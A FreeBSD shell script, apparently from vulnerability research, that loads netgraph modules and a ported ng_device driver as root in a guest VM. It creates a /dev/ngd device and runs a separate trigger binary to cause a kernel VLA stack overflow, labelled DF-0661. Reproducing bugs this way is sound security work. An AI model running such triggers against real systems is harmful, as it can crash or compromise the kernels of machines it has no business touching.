#!/bin/sh
# DF-0661 setup + trigger script (runs as root in the guest).
# Builds the ported ng_device.ko, loads modules, creates a hook to
# spawn /dev/ngdN, and triggers the VLA stack overflow via write().
#
# Usage: ./setup_and_trigger.sh [count]
#   count defaults to 1<<20 (1 MiB)

set -e

COUNT="${1:-1048576}"
BUILD_DIR="/root/ng_device_build"

echo "=== DF-0661 setup + trigger ==="

# 1. Ensure build dir + module exist
if [ ! -f "$BUILD_DIR/ng_device.ko" ]; then
    echo "[!] ng_device.ko not found at $BUILD_DIR"
    echo "[!] Run build_module.sh first"
    exit 1
fi

# 2. Load netgraph framework if not loaded
if ! kldstat -m netgraph >/dev/null 2>&1; then
    kldload netgraph
fi

# 3. Load ng_echo (needed for mkpeer peer node)
if ! kldstat -m ng_echo >/dev/null 2>&1; then
    kldload ng_echo
fi

# 4. Load ng_device module
kldload "$BUILD_DIR/ng_device.ko" 2>/dev/null || true

# 5. Create a hook to spawn /dev/ngdN
echo "[*] creating netgraph hook..."
ngctl mkpeer device: echo lower downstream 2>/dev/null || true

# 6. Find the highest ngd device (the one we just created)
DEV=$(ls -1 /dev/ngd* 2>/dev/null | sort | tail -1)
if [ -z "$DEV" ]; then
    echo "[!] no /dev/ngdN device found"
    exit 1
fi
echo "[+] using device $DEV"

# 7. Run the trigger
echo "[*] triggering VLA stack overflow with count=$COUNT..."
"$BUILD_DIR/trigger" "$DEV" "$COUNT"

echo "[+] trigger returned $?"
